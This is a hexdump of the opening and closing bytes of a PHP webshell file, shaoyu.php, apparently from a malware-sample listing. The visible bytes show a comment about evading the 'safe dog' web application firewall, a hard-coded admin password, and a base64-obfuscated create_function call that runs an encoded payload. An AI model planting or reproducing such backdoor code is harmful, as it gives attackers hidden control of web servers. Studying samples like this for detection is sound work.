shaoyu.php

Hexdump of first 128 bytes

0000000: 3c3f 7068 700a 2f2a 0ad3 c4c1 e943 6f6c <?php./*.....Col
0000010: 6442 6c75 650a c3e2 2ac9 b12a 502a 482a dBlue...*..*P*H*
0000020: 502a b4f3 2ac2 ed0a 6279 7061 7373 2073 P*..*...bypass s
0000030: 6166 6520 646f 670a cede cad3 5741 460a afe dog.....WAF.
0000040: 6874 7470 3a2f 2f77 6562 6861 636b 2e63 http://webhack.c
0000050: 6e2f b7a2 b2bc 0a2a 2f0a 2470 6173 7377 n/.....*/.$passw
0000060: 6f72 643d 2773 6861 6f79 7527 3b2f 2fc4 ord='shaoyu';//.
0000070: acc8 cfc3 dcc2 eb61 646d 696e 0a24 7368 .......admin.$sh

Hexdump of last 128 bytes

0011f00: 6673 4148 5359 7258 5547 314f 5033 5338 fsAHSYrXUG1OP3S8
0011f10: 7943 5837 6f6c 6478 4332 776e 6277 646b yCX7oldxC2wnbwdk
0011f20: 716d 384b 6538 5638 3d5c 2729 2929 3b0a qm8Ke8V8=\')));.
0011f30: 273b 0a24 6465 3d62 6173 6536 345f 6465 ';.$de=base64_de
0011f40: 636f 6465 2851 334a 6c59 5852 6c58 305a code(Q3JlYXRlX0Z
0011f50: 3162 6d4e 3061 5739 7529 3b0a 244c 6973 1bmN0aW9u);.$Lis
0011f60: 743d 2464 6528 2727 2c24 6669 6c65 6e61 t=$de('',$filena
0011f70: 6d65 293b 244c 6973 7428 293b 0a3f 3e0a me);$List();.?>.